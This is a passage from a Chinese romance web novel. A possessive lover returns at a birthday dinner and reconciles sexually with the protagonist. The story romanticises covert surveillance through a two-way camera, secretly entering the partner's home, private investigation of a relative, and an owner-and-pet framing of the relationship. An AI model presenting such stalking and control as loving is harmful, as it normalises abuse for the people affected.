听起来不正经,像跟遇少微学的。 安迟叙笑出声。 遇少微闻言要去揪遇景,想问她哪儿学来的。 景桐拍拍遇景的头,不得不给她解释。“你和安迟叙姐姐是亲姐妹,有血缘关系。不可以在一起。” 遇景思考了一会儿亲姐妹的概念。 “那为什么我和小灵姐姐就可以?” 这会儿轮到两个妈满头问号了。 景桐看向遇少微。遇少微使劲摇头。 她有认真听话,绝对没给遇景灌输这些事。遇景大概是跟幼儿园同学学歪了。 “你和小灵姐姐也不可以。”景桐无奈强调。 “对。我不喜欢幼稚鬼。”池开灵一边算着抄来的题,一边接了句嘴。 遇景嘴一撇,成了今天最不开心的人。 “我也要问吗?唉。”轮到遇少微了。 她对上安迟叙的眼,还有些不习惯。 安迟叙也不习惯一直看着她,两个人一起挪开视线,又挪回来。 “你,咳咳。”见过好几次了,之前也聊过。 怎么今天这么紧张?遇少微捏住景桐的手,给自己打气。 “你打算什么时候结婚?要请我们吗?带人回来给我们看看?”她是有问题要问才紧张的。问出来心情也没好转。 “啊。”安迟叙低头看见手上的戒指。 她戴了快两个月了。每天摘,每天戴。 没有人知道戒指底下藏着一个人,更没有人知道这是她主人留在她身上的烙印,从属的标志。 她们都以为,这是爱。 这当然是爱。 不然她何必作茧自缚,在背离主.人的情况下。 安迟叙摩挲过戒指嘴角悄悄勾起。 “她不在呢。”一句话让场面又静了。 池开灵都抬起头来看安迟叙。 安迟叙笑笑,好像已经走出来。 景桐正打算安慰的。 包间门被敲响。 应该是上菜的服务员。 安迟叙主动起身去开门。 一阵天竺葵的冷香,扑了她满面。 红点率先刺痛安迟叙的眼。叫她眨了眨,心跳随之骤停。 熟悉的面庞带着熟悉的笑。深渊的眼眸透着凝视的红。 晏辞微不看安迟叙,是扫向安迟叙身后的一家人。 欠了欠身。礼仪优雅到展现她贵族身份。 而后朝安迟叙伸出手。 对上安迟叙满是滞愣的眼,笑容更柔。 温和似海。却又有浪涛的强势,包裹住安迟叙的呼吸。予她氧气,予她窒息。 “我再不来,你要到处说我死了。”她俯身贴住安迟叙的耳。 低语轻柔。 “我的团团。”—— 作者有话说:诶,我们不是虐文吗? 啊对对对,出去一定要说我们团结甜甜的,是绝世小甜饼(神气) 后面再虐吧(悄悄) 突然想到一个笑话 关于景桐 晏辞微第一次见她,下意识:妈咪 安迟叙:?这我妈咪 池开灵:??这我妈咪 遇景:你们都别想,明明是我妈咪!只是我妈咪! 第70章 第 70 章 红婚服 多粘稠的一句话。 瞬间就将安迟叙带回s市的雨季。 盛夏将至的闷热, 咸湿的空气。 耳畔缠绵的低语,交错的体温。 无时无刻不在的她。 安迟叙停滞呼吸,不敢侧头, 不敢动身。 只有一双眼被她允许转动, 幅度也不能太大,只得小心翼翼的拂过去,落在她那双黑不见底的眼眸上。 从中窥见清晰的自己。 晏辞微眼里的安迟叙,比任何一天都深刻。 倒影当然是黑的。只是有泪光把它变成红色。 痣的红将安迟叙的轮廓晕开,安迟叙终于确认晏辞微的存在, 笑开一条缝。 她手已经伸出来了。本能引导着她跟终于现身的爱人拥抱。 晏辞微一贯由着她, 微微打开胸膛, 想迎她进怀。 手臂还没碰在一起。 安迟叙忽然收了手。 转身回了包厢, 也没在给晏辞微一眼。 晏辞微落在她身上的视线稍顿。 她窥见一闪而过的泪痕, 急忙牵上安迟叙的手。 安迟叙甩了一次。晏辞微也顾不上被打的痛,紧紧捏住,趁着她没再反抗,和她十指相扣。 就这样跟着她进包厢, 顺势坐在她身边。 安迟叙歪了身子, 连侧脸都不愿留给晏辞微。 表情挺沉静,睫毛的轻颤还是暴露了她的情绪。 晏辞微抿着十年如一的笑, 拇指轻轻刮过安迟叙的手背。 安迟叙每周才修一次指甲。今天指甲长着呢。 晏辞微不安分, 她就挑着指甲掐下去。 晏辞微一声不吭,深邃的桃花眼轻轻盈着笑意,不断溢向安迟叙。 安迟叙又不是感觉不到。头偏的更厉害, 耳朵却悄悄热了。 桌上四个人却看不懂安迟叙的肢体语言,又看不见她们牵得紧如被针一寸一寸缝合的手,还以为她很讨厌这个人。 又见晏辞微穿着打扮, 举止风度都不同寻常,像世家培养出的贵族千金。 两个大人率先有了顾虑。景桐代替开口,对上晏辞微的视线。 晏辞微的视线可不得了。不收的时候足以把年纪高她很多倍的长辈吓噤声。 她比蛇还毒,鬼一般冷得毫无温度。眼仁漆黑无光,一瞬不瞬的看着景桐,真给景桐都看得卡了下话头。 “你是小安的熟人吗?”都知道安迟叙的爱人“不在了”。 无论是安迟叙新交的朋友,还是她们这些亲人,甚至是只有点头之交的邻居。都知道这一点,很注意不在安迟叙面前提起。 这会儿忽然出现一个人和安迟叙如此亲密,还没有多少活人感,景桐都要怀疑自己看见的是不是真实的存在了。 “您好。我是她‘死了’的爱人,晏辞微。”晏辞微自己比在场的几个都更坦荡。 说这句话时毫无避讳,好像她真的只是死后残存的魂魄。执念是爱安迟叙。 “哦!是安姐姐的手机屏幕!”遇景最小,最看不懂局面,就知道晏辞微也很漂亮,率先反应过来。 “嗯。是我。”晏辞微似乎被她逗笑了,眉眼更显温柔,却是让人发凉的那一款。 有的温柔是对世事奉献。有的温柔是视世事为无。 晏辞微显然是后者。 唯独安迟叙察觉不到她的冷,耳朵更热,尖端都因为这番话泛红了。 她手指已经完全被晏辞微掌控。她能感觉到晏辞微拿出来一只戒指,套在她无名指,慢慢往下滑。 就这么避着人,又当着所有人的面。 给她戴上戒指。 主人的项.圈来了。 安迟叙稍稍低头,好想知道是什么样的戒指,偏不好意思回头,眼神闪了闪。 晏辞微从容做完,好像只是完成一次呼吸那样淡然,跟遇景挑了下眉毛,开口。“你和她不可能在一起。” “只有我能和她在一起。”毫不掩饰的占有欲朝五岁小朋友扑过去,叫遇景花了几秒思考晏辞微的话。 “和你也可以,漂亮屏保姐姐。”遇景随她妈,又不挑,长得好看就行。 晏辞微似乎没料到这一点,表情含上些无奈。 安迟叙偷笑扯着戒指颤,晏辞微严肃拒绝了遇景。“我们家不需要第二个小孩。” 只有团团能做她的小孩。 遇景往后转,抓着池开灵伤心去了。 然晏辞微也没放过一直缠着安迟叙问高中的池开灵。 “想做她学妹?” 池开灵有点迷茫,下意识点点头。 “其实s大也不错。以后考上,我和团团还能去看你。” 晏辞微的嘲讽有点绕,池开灵转了一圈才听懂,晏辞微这是在说她痴心妄想,上不了安迟叙的母校,顶多能上个差两级的s大。 池开灵脸臭了。她看向遇少微寻求帮助。 家里景桐是体面人,遇少微才是那个到处吵架的战斗机。 可晏辞微连遇少微都怼了。怼的最多,最不留情面。 “我以为不喜欢就不该结婚,更不该有小孩,您说呢?生了不养,我家门口的鸟雀都不这样。” 遇少微汗流浃背,避开几个人的视线,看向景桐求助。 如果遇少微都骂不成功,景桐才会出门,用文化人的方式据理力争,不带脏字的把对面贬到泥土里。 池开灵和遇少微都在期待景桐能救她们一局。 而晏辞微看向景桐,方才张扬的气焰略有熄灭。 “我们的婚礼会邀请您来的。”晏辞微怼了一桌人,单独给景桐说了句好话,好像景桐真是安迟叙的长辈。她们结婚还得请人到现场祝词呢。 安迟叙闻言终于肯回过头,满眼质问,眼光的刀毫不留情。 晏辞微刚侧过头回应,安迟叙又转了回去。 看见晏辞微那双眼就发酸,泪腺止不住崩溃。 怪烦的。真不想看她。 安迟叙不理她。景桐没话可反驳。剩下三个被说得沉默如死。 整个包厢一片寂静。 这时晏辞微才按了服务铃。 “上菜了,都吃饭吧。”寥寥数语就把场面捏在手中。 安迟叙偷偷瞥了晏辞微一眼。 她们分开之后,晏辞微更加懒于掩饰,狠起来毫不留情。 可只是她身边,自己就很安心。 安迟叙捏紧了晏辞微硬要覆上来的手。 发现自己面前上的菜不是刚刚点的那份。 是特制的,不在菜单上的品。 都不必尝。 闻香就能知道。 是晏辞微亲手给她做的菜。 * * * 安迟叙撩过耳发准备去拿勺。 面前就多了一勺配比精准的饭菜。 她抬眸横过去。对上晏辞微柔情如蜜的眼神,羞着低回来,张嘴。 一口吃完,下一口就来了。 给她少许喘息的机会,却不让她太悠闲。 叫她有点难受,又说不出停。 晏辞微从来这么强势、饱满,给出的爱也说一不二。 安迟叙放弃了挣扎,专注咀嚼。 过去两个月她思念晏辞微给她喂饭还做不到。这会儿纵她一马也好。 吃到一半安迟叙有点羞,悄悄抬眸。 景桐池开灵她们虽不时扫过安迟叙,却没发现晏辞微偷偷投喂的事。 晏辞微想避人耳目时,能做得很好。 神不知鬼不觉的就给安迟叙喂完一顿饭。 安迟叙咬住勺子不放她走。听见一声轻笑。 轻得像气泡在耳边炸开。 安迟叙的耳朵尖好像被咬了一口。 刺痛如叮,轻微,发痒,留不下痕迹。 安迟叙却知道,晏辞微生气了。 大概是吃她亲朋好友的醋,又气自己不理她。 安迟叙松开勺子随便晏辞微用视线叮咬她,转了下无名指上多出来的戒指。 她爱的人就这样。 不吃醋,就不是晏辞微了。 * * * 吃完饭,还有蛋糕。 遇少微没能如愿切蛋糕。 晏辞微很精细的分好蛋糕,把遇少微咬过的那一块切碎了扔给她。 遇少微吃的敢怨不敢言,苦得头顶冒泡泡。 两个小朋友倒是没再被针对。喜欢哪个部分都得偿所愿。 景桐自己选了一块,不大不小刚刚好。 安迟叙分到的不是最甜的一部分,却藏了一块巧克力做的红蝴蝶。 安迟叙都不知道晏辞微提前多久准备来见她。她们这聚会是上周约的,蛋糕却是前一天才订。 该不会这人也混进蛋糕店,亲自做了这只蛋糕吧? 安迟叙遐想着,觉得应该不至于。她生日是十一月一号,又不是今天。到日子晏辞微肯定要再给她过。 一年过三次生。绝无仅有的体验。安迟叙尝着正合适的甜度,心也暖起来。 吃完蛋糕送礼物。 遇景健忘,给安迟叙送了一只漂亮蝴蝶结,眼睛眨巴眨巴暗示她。被晏辞微提到了旁边禁止靠近。 池开灵送了一只电容笔,安迟叙笑着谢谢她,她又从晏辞微那儿拿了个称号——“实用主义的书呆子” 遇少微和景桐的礼物早给了。 安迟叙就转向晏辞微。 虽然晏辞微八月给她过过生。 虽然晏辞微这几周隔三岔五就给她送礼物盒。包装精美,内容用心。 虽然晏辞微见面就给她套上亲爱的戒指,主人的项.圈。 但,晏辞微不可能没有准备别的吧? 安迟叙讨的理直气壮。 晏辞微略顿眨眼。 安迟叙扭过头不理她,准备一个人走了。 晏辞微追上去,还是在她手心放了个礼物盒。 不沉。走路时没有晃。安迟叙猜不出里面是啥,就往晏辞微怀里推。 晏辞微逆来顺受的接过,搂着她上了门口的车。 亲朋好友举办的生日会就到此结束了。 接下来是只属于她们两个人,迟来已久的亲密时光。 * * * 晏辞微当然知道安迟叙租的房子在哪儿。 她搂着安迟叙进了家门——也果然有安迟叙家的钥匙。 所以,那两次恍惚不是安迟叙的错觉。 也许晏辞微还来过许多次。 也许每天晚上安迟叙在房间里做自己的事,晏辞微在客厅的阴影暗中窥探。 只是安迟叙没有察觉。 走神间,晏辞微已经锁好门,将安迟叙抵在墙上了。 而后眉心微蹙,大概是觉得墙太硬,又抱安迟叙去了沙发。 她该买个单人躺椅,或者懒人沙发。此刻晏辞微就可以在只有一个人的位置上将安迟叙按倒,再与她缠缠绵绵合二为一。 安迟叙眉眼笑盈盈,对上晏辞微的眼却又挪开。还特地收了笑,怪做作的。 晏辞微哪儿能看不懂她的意思,呵一声咬住她的脸。 只很短的一口。安迟叙唔唔着抵住晏辞微的肩膀。 不允许她再靠近。 晏辞微却还有办法,呼吸真扑到安迟叙脖颈。挠起她的颈窝。 “你别。”安迟叙单手按住晏辞微的口鼻。呼吸都不许她靠近。 “不认识我了?”晏辞微也没强求,捧住安迟叙主动送来的手,抚在自己脸上。 贴的亲密无间。她们本就该这样。 “不认识。”安迟叙也有气。哼哼唧唧着去掐晏辞微的身子。 “团猫。扎我的发型,穿我的衣服,戴我的首饰。脚上还是我的鞋。还说不认识我?” 晏辞微把安迟叙从头到脚都点了一遍。 属于她的东西堆在安迟叙身上,一样不差,幸福感快把晏辞微吞了。 “对啊。谁送的套装,又丑又不合适。我才不穿呢。” 安迟叙早知道晏辞微今天就来见她,怎么可能给她留这么大一个破绽。 好像她好想她。 她就是好想她。 安迟叙一边说,一边被咬。 晏辞微的气不比她少,满当当的快洒出来,又在翻覆边缘收拢,只漏了几滴,溅到安迟叙身上化作一口咬。 “那陌生追求者送你东西,你也敢要?”晏辞微大概真有点气晕头,跟安迟叙做起假设,越假设越气,桃花眼都泛起薄薄的红。 “敢啊。谁送的我都要,唯独不要你的。”安迟叙望着晏辞微的眼都不敢再留。 安迟叙最清楚眼角的红晕意味着什么。 那不是气,是痛。 也许也是恨。 她们都一样。 安迟叙眨眼,惊觉自己睫毛也湿润了。 “……你喷的,还是我给的香水。”晏辞微哑了嗓子,声音颤抖起来。 她每一次呼吸都能闻到安迟叙身上的天竺葵香。 甜从来不是天竺葵的主调,苦才是。 一口一口如她整夜抽的苦酒。闷得她喘不上气。 “我自己买的。”安迟叙是倔猫。咬着牙关不想比晏辞微先狼狈。 她们拉锯了两个月才终于宣告停战。 所有的怨与恨都在几句对白里爆发。 “你买的在驿站。”晏辞微已经在解安迟叙的衣扣了。 她亲自挑的衣服。亲自试穿过。最知道怎么解。 动作却还是很慢了。手臂颤抖着,比声音还不像样。 “我给你,拿的。你怕是都忘了。”明明是她先到,替换了安迟叙买的那瓶香水。 再在礼物盒里塞进恨的证据,血色的照片。 晏辞微还在解。脱穿变得没那么容易。 可她好想看一眼她的团团。两个月了,有没有把自己养瘦? 只要有一点她就有理由怨恨,有理由占据高地去指责离家而去的安迟叙。 是安迟叙不好,抛弃了她。 是安迟叙不知好歹,不要她的爱。 也是安迟叙活该,自己过的糟。 晏辞微终于扯下最后一颗扣子—— 安迟叙亲自带着她把所剩无几的累赘都丢开。 晏辞微看清了安迟叙的全部。 安迟叙过的很好。 皮肤比走时更饱满、细白,没有瘦一寸,还长了点肉。 肌肉比以前多些,手感有明显的变化。 晏辞微崩出瀑布似的泪,瞬间淋满一张脸。 她的团团,真的可以不需要她。 安迟叙却抱住她的腰,拉开她的纽扣,在这时按着她的头。 激烈的,吻住她的唇。 …… 热吻很深。 晏辞微从来没有想过只是吻能达到这样。 好像她真的和安迟叙融为一体。 舌齿不分你我的纠.缠,交.融。 她把每一个分子都送给安迟叙,不图回报的爱。 竟还能得到安迟叙的每一个分子。 她们把浑身的细胞都在一个吻中交换。 同样的天竺葵香包裹成茧,给她们团出只属于她们的桃花源。 一个吻不够。 晏辞微感觉嘴唇也融化在热度里,勉勉强强的提起换气,又不甘的再次咬住她长大成人的小猫。 一次咬也不够。 晏辞微从唇峰咬到舌尖。听着安迟叙无意义的呢.喃,不知饱足。 她们把呼吸都退给彼此。把生命都交给彼此。 终于吻到晏辞微不再流泪。 安迟叙仍浅浅的亲着晏辞微的嘴角、脸颊。 怎么尝,也尝不够。 …… 晏辞微给安迟叙的礼物盒是空的。 礼物穿在她身上。 晏辞微褪去长款外套。 丢掉黑色的包脚裤。 其实看见她这身安迟叙就很奇怪。 晏辞微以往的审美不是这样,从不穿这么奇怪的衣服。 直到安迟叙看见一抹红。 轻薄的红。厚重的红。层层叠叠的红。 配着刺绣与金边。 像神明流下的血。 晏辞微穿着一身……嫁衣。 晏辞微抱住她唯一的爱人。 抚摸过刚刚给她戴上的戒指。 安迟叙颤颤指尖,伸向这件红装。意外的发现它不厚不沉,透气又便捷,一定是定制款。 “什么时候?”安迟叙哑了声。 她们的感情早就是一团乱麻了,扯也扯不开。 分开就会想念,在一起就会互相伤害。 那么多矛盾没有结果,也许提都没有提过。 晏辞微依旧那么坚定的,要和她在一起。 “很久。”晏辞微咽下眼泪。 挺咸的,安迟叙怎么还吃那么欢? “一直。”从高中开始,从交往开始,从爱上安迟叙开始。 “但,这是给你的。”晏辞微牵着安迟叙的手落在自己身上。 一层一层的去解。 红婚服。 “春天那会儿的尺寸。这个月改大了点。又白费,以后还得重新定制。” 晏辞微的声音好轻。比一层婚纱还轻。 她可能没力气了,还要指引安迟叙的动作。 安迟叙看得清楚,比她明白,转而捏住她的手。 先是亲吻,安抚。 再去慢慢的解开。 “哪儿那么讲究。这件就挺好。”安迟叙没有拒绝。 只是在和晏辞微一起,想以后。 晏辞微睫毛颤抖着。 眼眶已全是红泪。 泪是血,流过痣的眼。 安迟叙剥下最后一层,抱住晏辞微。 “……不好。”晏辞微想要完美。 婚纱这么小的事,怎么可能逃过她的掌控。 她要给安迟叙最好的,最完美的。 要这一生就穿一次的裙子严丝合缝的贴附安迟叙每一寸肌肤。 要所有人都看见她多爱安迟叙。 更爱安迟叙。 她才是不管不顾的那个,她才是最疯的那个,她才是受委屈的那个。 被伤了多少次也要爬向伤她的人。她的血只会成嫁衣的染料。 晏辞微把内衬一层一层的给安迟叙扣上。 这件就是不好,有些地方紧了。真穿一天,她的团团会憋死的。 那太可怕了。喜事变丧事。 她也跟着安迟叙一起离去。 或许也还不错。 晏辞微牵着安迟叙来到全身镜前,看着效果还是笑出声。 眼泪比笑先滴到安迟叙肩膀。 安迟叙反手轻拍着晏辞微,把她头搭在自己肩膀上,用她们最习惯的姿势,轻哄。 “坏衣服。都把姐姐丑哭了。”安迟叙知道她在哭什么,所以痴痴笑了一声,掩盖眼角的红。 她何尝没有幻想过很多次,和晏辞微穿一样的衣服,走一样的路。 没有旁人观礼,只有她们两个从红毯的一头走到另一头,在天地的注视下结为永久。 “不丑。”晏辞微扭了安迟叙一下。 “你胡说。”像个幼稚的布娃娃,像个小猫,像个小女儿。 “那你笑一个。”安迟叙强人所难呢。 她转过身抱住晏辞微,瞧着她一寸比一寸清减,真疼得心脏抽抽痛。 她们第二次分开。 她过得一天比一天好。 晏辞微过得一天比一天糟。 其实她们都知道。 一直是晏辞微离不开安迟叙。 小猫是孤傲独立的动物。没了主.人,一个人在野外好不自在。 主.人是一具孤零零的空壳,丢了小猫也就丢了心,什么都不剩。 只是啊。 安迟叙捏着晏辞微的脸给她摆了个好丑的笑,晏辞微气的真笑出声,按住安迟叙的胳膊就去咬。 安迟叙抱着晏辞微上了床,叫晏辞微扯着这身不早不晚不轻不厚的婚服。 刚刚好的,给她又一个吻。 然后慢慢往下,做她们念了两个月,缺了两个月的盈亏。 只是安迟叙疼晏辞微。 她这么想她。 也会这么爱她。 * * * 晏辞微没有任何抵抗。 她在慢慢接受,安迟叙想对她做的一切。 紧张到怪难受的地步就掐她等了好久的婚服。 这套肯定要报废了。 安迟叙干脆把袖口塞到晏辞微嘴里,叫她咬着。 晏辞微真不客气。一口就是一条。血淋淋的布被扯到一旁。 晏辞微一边忍着不断堆.积的感.受,一边把刚刚给安迟叙一尺一寸穿上的婚服,一条一块的撕下。 安迟叙也憋了两个月,怪狠的。 她是晏辞微的好女儿,都有着同样的狠。 只是她的藏的更甚,发xie更隐晦。 像这样吻着晏辞微,要她受着这份粗暴,已是最明显的一种。 安迟叙没剪指甲。 虽然也不是很长,但总归刮过。 软软的。安迟叙很喜欢。 晏辞微恼得咬,咬没了衣服就咬她胳膊。 一个一个的咬痕戳上安迟叙的背。 安迟叙想,晏辞微真恨她啊。气成这样。 那又如何呢。安迟叙俯身吻住晏辞微的yao。 总归她爱她。 戴上从晏辞微包里翻出来的,迟来的zhi.tao。 这一次,不带收力的。 好好疼她。 …… “你的,工作……”都天亮了。 晏辞微chuan得厉害,梨花带雨的,眼泪都快流干了,红成真桃花。 “别……”想阻止安迟叙。 “姐姐。”安迟叙没去看日期。 “重要的是你。”重要的是自己。 安迟叙咬着吸,不是母女了还在继续演。她已经不怕把晏辞微当成妈咪了。 “我没有……”晏辞微想踢安迟叙了。 她哪里shou过这种罪。 这么久,这么多次。就是上一次任安迟叙作为,也没有这样过。 “妈咪,我哪里不好吗?”安迟叙抚过晏辞微的脸,替她擦去新一轮的汗、泪。 她是好学生。 晏辞微最清楚。 “不然妈咪为什么总哭?一定是我太坏了。”不给晏辞微机会的吻住她,又松口。 叫她呼.吸都跟着频.率.脉.动。 “我该补偿您。”安迟叙叼住新一盒zhi.tao。 晏辞微失神的靠本能,照顾她,给她戴好。 …… 饭也吃的简单。 一觉也过的简单。 晏辞微再睁眼都分不清时间,迷迷糊糊的就看见安迟叙,伸手去捞。 安迟叙就在她怀里,呼呼的像个小奶猫,完全没有几个小时以前豹子似的狠。 奶猫都喜欢妈妈。安迟叙也粘着她的晏辞微。 晏辞微气不过掐她一把,一掐自己眼泪往下掉。 终于把安迟叙淋醒了。 安迟叙懵懵抬眼。 晏辞微缩成一条熟虾。 安迟叙去抱她,把她揽进怀里,又看清她瘦了多少。 指腹抚过她的皮肤,叹息无声。晏辞微却能感受到。 “瘦了好多。”这才两个月。 安迟叙想靠着晏辞微,搂抱她。转瞬又被晏辞微拉回怀里。 晏辞微不犯别扭了。眼泪还不停,可声音温柔。 当然带着些沙哑。这也是无可奈何的事。 “心疼我?”晏辞微都没注意到自己减了。 她挺注意保持体脂率,只是因为安迟叙喜欢跟她捏捏抱抱。 现在她这样…… 安迟叙会不会不喜欢? “疼死了。”安迟叙掐了晏辞微一把。 “你不都知道吗?”不开心就想和她翻旧账。 准确来说账还挺新的。安迟叙一直清楚,没跟晏辞微闹过。 “我写的回忆录,给你做的刻章、饰品,想你想到多狼狈……你应该全都知道,才是我的妈咪。” 晏辞微不必是好妈咪,也不是坏妈咪。 她只是安迟叙认下的妈咪而已。 安迟叙已经通透。她知道这就足够了。 “还有那个摄像头……”安迟叙躺在晏辞微怀里仰头看着她。 “……嗯。”不听问题,晏辞微也可以认下。 安迟叙只会问那一点。 晏辞微没什么好隐瞒的。 摄像头就是双向的。安迟叙在看的时候,她也会通过手机,去看安迟叙。 安迟叙的视线是红色的,猩红的点是周遭唯一的血色。太过鲜明所以不会错过。 晏辞微看见了全部,看了整整两个月,也听见安迟叙说,要和朋友出去玩。 “那你都看见了啊。”安迟叙想气想哭又想笑。 晏辞微是真的狠。看着她哭也不来找她。看着她一个人疼也不来安慰她。 ……晏辞微真好。现在她不怕被圈养,不怕做错事,不怕活不下去了。 “是不是很爽?”安迟叙最终还是笑了。 笑的像她意识到晏辞微一直在她身边的那个月夜。那天有多清明,她此刻笑得就有多灿烂。 也许带了点苦,也许含了点恨,像晴天的云雾。 扯回失神的晏辞微,叫她怔怔低头,看向胡说八道的安迟叙。 “什么?”看着她的宝贝哭,又不是在**,怎么可能会爽。 安迟叙点着晏辞微的脸,擦掉她眼角的红花。 “看着我,没了你。什么都不是。”一字一顿。 她在剥开她最深的外壳,把最隐秘的内里展露给晏辞微。 这是她认定的妈咪。 可以知道她的一切。 猫的肚皮软软的。晏辞微下意识想摸上去,使劲揉揉,或者…… 剖开它。 怎么可能没爽过。 晏辞微面上迟疑,心里真在笑。 笑安迟叙永远最懂她,笑她拙劣的拖延在安迟叙面前什么都不是。 晏辞微对上安迟叙的眼。 那灰灰的眼这会儿孕着光,情意绵绵,亮如月。 于是笑不出来,晏辞微闭眼。脸颊滑过一颗泪。 “可是如果只有爽就好了。”她扯着嘴角努力上扬。 想她这两个月多丑,多恶心。 她看着安迟叙被安予笙伤害,看着安迟叙哭到晕厥过去。看着安迟叙处理不来和原生家庭的关系。 是很爽啊。 没有母亲的小猫,执意逃离的女儿。离开她还能过的怎么好? 安迟叙一定需要她需要她需要她需要她需要她…… 可她心疼。 她看见安予笙靠近安迟叙就想把她撕开。 看见安迟叙妥协接送妹妹上下学就想牵着她的手带她走。 安迟叙哭晕的那个夜晚她终于受不了,偷偷进了安迟叙的家。 把她抱上床,一边收,一边悄悄掉眼泪。 心抽噎着想安迟叙真一点没用过。 再把行李箱放在角落,关上密码锁。 1101,安迟叙的生日。晏辞微极度自私,只在放手那一天慷慨,允许安迟叙不用她的生日做密码。 她改了密码后坐在安迟叙床头。 淋着月光好像淋了雨,淋了雨之后又被泼了雪。 一身白凄凄的发透,她好像真正的鬼,整夜守在执念之人床边。 就这么看了一晚。晏辞微连抚摸都不敢。在日出之前离开。 留给安迟叙若有若无的天竺葵。 痴心妄想着吸引她的注意力。 安迟叙不会知道这两个月里,晏辞微自以为是的笑过哭过呕过多少次。 繁忙的生活都只是吸引安迟叙看她一眼的演戏。 如果…… 如果只有爽就好了 如果她只是恨安迟叙就好了。 那样安迟叙过得越差,越能证明她的好。 可是…… “可是我,会担心你。”晏辞微泪比声音抖,悬在眼眶,低头的姿势叫重力一颗一颗的把眼泪吸了去。咀嚼后吐在安迟叙身上。 灼烧着安迟叙的心。 “担心你一个人过得好不好。担心你被杜知棠她们冷落或者告白,担心你处理不来安予笙的事。担心你再被遇少微伤害。” “担心你每一顿饭做的什么。每天穿的什么。c市下雨了你带伞了吗?改道堵车你要怎么回家?气温骤降你加衣服了吧?” “担心你没了我,什么都不是。”晏辞微轻柔的抬手,替安迟叙擦去沾染的泪。 此时此刻她也担心。 她的泪太烫,烧痛她唯一的爱人。 “要是我真的恨你就好了。”那样多轻松。 天长地久的爱她们承受不住,绵绵无绝期的恨她会一直有。 一直一直投到安迟叙身上,化作怨鬼绊倒安迟叙的前路。 “可是我还爱你。”恨终究输给她永恒不变的底色。 “看见你在想我。所以,我来了。” 这次,不诱导安迟叙的靠近。 晏辞微主动走向她。 求她回来。 安迟叙哭出一声笑,忽然扯着她低头。 “不是……”晏辞微开口时没想过这个后果。她又不是十八岁哪里受的住—— “不管。” “你来也可以。”安迟叙拉着她向后倒。 两个月也太久了。她们好不容易重逢,要好好的。 一起过。 至于矛盾和磨合。让她们以后再说。 今天只说爱。 …… 晏辞微再被放过,是她们饿的不行,必须吃饭休息了。 晏辞微拒绝搭理安迟叙哪怕一个眼神。 她受也怕了给也怕了。 真不知道这小姑娘和她一个年纪,哪儿来这么多精力。 安迟叙在她旁边嬉笑着收拾。也累,但心情很好所以坚持的了。 就是这时晏辞微收到一个电话。 她接过,没按免提,只是家里安静,安迟叙也听见了电话那头的声音。 “安予笙昏迷进医院了。交不起医药费,医院正在协商怎么办。”—— 作者有话说:我本来昨天摸了一个晏辞微视角的这两个月,但写完感觉少了一分神秘感,不够味,先不发了。可能会作为番外放在正文完结之后,也可能过两天看看有没有更好的节点。 这个应该不是文案上的那一场(思考)但也有可能是文案上的那一场。文案上写过的东西为什么正文要写呢?(理不直气也壮)(心虚)(顶锅盖跑路) 其实是因为我的手和我的脑子各想各的,她们又和几个月之前写文案的我相去甚远,嗯…… 明天忙,明天更不了,先请个假~魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m 70-75 第71章 第 71 章 你不是我的选择题 晏辞微原本想挂断, 换个时间再接。 而安迟叙贴在她旁边,已经开口了。“她交不起医药费?没有医保?” 晏辞微默了一声,还是将电话挂了, 不得已给这个号码写了个备注, 才关上手机。 “不是这次急救。她是突然倒地不起,被人送进医院之后顺带检查出胃肠息肉,想做手术切除。后者没钱了。” 这消息她刚刚打开手机就看见了。手下人也许是觉得缺钱比较紧急,才又打来一通电话。 毕竟过去两年,晏辞微让她们调查安予笙的次数多, 查的细致又深入。 还在安予笙常去的医院都派了人, 时刻盯着, 却又不说要做什么。 手下是擅自推测, 晏辞微在关照这个中年人。 “那也不是很急。”安迟叙躺进晏辞微怀里, 东西也不收了,就抓着晏辞微的头发玩。 晏辞微两个月没搭理发型,头发长了些。 安迟叙靠着她的腰刚刚好够到。卷了两爪后被晏辞微揪过脸。 “顽皮小猫。”晏辞微眉目温柔,嗓音舒隽, 批评不似批评, 宠溺的明目张胆。 “但,考虑到她之前有过甲状腺问题, 也许应该去做切除手术。” 晏辞微怕安迟叙不清楚安予笙的状况, 多补充一句。 说完又后悔。明明让安迟叙以为只是个小事就好。 视线对上。晏辞微眼眸依旧含着笑意,却被一番话冲得七零八碎。 零零星星的光点有些欢喜,有些忧愁, 有些警惕。把目光变得好复杂。 安迟叙没开口,手也放了下去,单是躺在晏辞微怀里望着她。 时间有些迟缓了。晏辞微的一次呼吸都绵长, 慢慢扑在安迟叙脸上,把天竺葵的味道牵下来。 安迟叙不禁眨眼。双眼被晏辞微蒙上。 “你……知道她一直想找你回去,是为了让你照顾她无心也无力养的小孩,充当那个她这辈子都没有好好拥有过的伴侣吗?” 晏辞微的声音带了一丝不确定。呼吸又将不确定变为颤抖。 晏辞微好像很担心。 安迟叙手指搭在晏辞微手背上,轻轻的。只是想和她贴在一起。 现在再听见安予笙的打算被这么直白的说出来,安迟叙也不觉得很难受了。 原来一个人失去母亲,真的可以一个人长大。 到二十五岁这个年纪,怎么都不该是女儿需要妈妈。 晏辞微的掌心缩了下。像一个颤栗,挠得安迟叙睫毛痒。 安迟叙就去眨眼,惹得晏辞微松了手,顺势捧着她的脸。 “姐姐怎么知道?”她问,主体却是晏辞微。 扫向晏辞微的眼竟也带了点安抚意味。 晏辞微埋下头,黑发丝丝缕缕罩住她们,把光也切碎成朦胧。 安迟叙眨眼,不再看得清晏辞微的眼神,可她知道晏辞微在想什么。 她对安予笙的过度关注,让晏辞微不快了。 哪怕所谓“过度”,仅仅是她像听见有点关系的人生病一样,问了一嘴。 极致的占有哪儿可能全是光鲜亮丽的粉白。内里一定是漆黑、中毒的深紫。 安迟叙最清楚这一点。 可她还是选择问出来。 这是她们之间必须解决的结。而她快要梳理好自己的那一半了。 “她甲状腺摘除之后,需要终生服药。药物不会全部报销,这两年她工作底薪很低,拿不到绩效,每个月看病加上生活的钱全来自积蓄,而到今年夏天,她积蓄已经只剩半年了。” 晏辞微偶尔很像一个老师。 有问必答,嗓音还很温柔,腔调和眼眸一样是桃花调的,都像春天。 只是她的春不是景桐的精心照料万物复苏,更像是放养,生命伊始无慈无悲。 她像春的夜。有冬天的寒,夏季的无序。 温柔只是无情,引导新生的芽土壤里埋葬白骨,引导它走向同样的道路。 连生安迟叙的气,都如此静默。还会给安迟叙细心的解释。 她可能在等。 等安迟叙听懂她语调的情绪,乖乖闭上嘴,主动说出她想要的答案。 安迟叙眨眼。她爱晏辞微的温柔,也该包容晏辞微的无情。 